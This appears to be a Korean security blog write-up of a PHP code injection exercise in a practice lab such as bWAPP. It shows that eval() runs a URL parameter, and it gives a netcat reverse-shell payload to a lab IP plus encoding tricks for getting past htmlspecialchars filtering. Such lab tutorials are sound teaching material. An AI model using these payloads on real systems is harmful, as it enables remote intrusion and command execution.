1. PHP Code Injection
- Code injection 공격 중 하나로 취약한 PHP 함수에 악의적인 코드를 삽입하는 공격
2. 실습
2.1 Low
- "message"를 클릭한 뒤 URL을 확인해보면 GET 방식을 사용하며, message 매배견수로 입력 받은 값을 표시함
- [사진 1]의 URL에서 확인되는 phpi.php 페이지를 확인 시 eval() 함수로 message 매개변수로 받은 값을 실행
- PHP에서 eval()은 ()안의 문자열을 PHP 코드로 실행하는 함수
- 참고 : https://www.php.net/manual/en/function.htmlspecialchars.php
- 원격의 공격자를 이를 이용해 원격에서 임의 명령 실행 가능
① 원격의 공격자는 nc 명령으로 4444 Port를 오픈 후 대기
② 취약한 message 매개변수에 리버스쉘을 생성하는 명령어 삽입 ex) system("nc 192.168.56.102 4444 -e /bin/bash")
③ 명령프롬프트 표시 : python -c 'import pty;pty.spawn("/bin/bash")'
2.2 Medium / High
- Medium / High Level에서는 Injection 코드가 텍스트로 출력
- eval() 함수를 사용한 Low Level과 달리 htmlspecialchars()를 통해 특수문자를 필터링 ( &, ", ', <, > )
- 참고 : https://www.php.net/manual/en/function.htmlspecialchars.php
※ 해당 함수는 우회가능함
① 입력 값을 base64 인코딩된 값으로 받는 페이지에서 우회 가능
② Hex 값을 반환해줄 경우 특수 문자를 Hex Encoding하여 우회 가능
'취약점 > Injection' 카테고리의 다른 글
MOVEit Transfer SQL Injection 취약점(CVE-2023-34362) (1) | 2023.06.11 |
---|---|
Zyxel Firewall Unauthenticated remote command injection (CVE-2022-30525) (0) | 2023.02.05 |
JSON 기반 SQL Injeciton 통한 WAF 우회 공격 (0) | 2023.01.09 |
Linear eMerge E3-Series devices Command Injections (CVE-2019-7256) (0) | 2022.12.06 |
비박스(BWAPP) SQL Injection - Blind - Boolean-Based (0) | 2022.10.04 |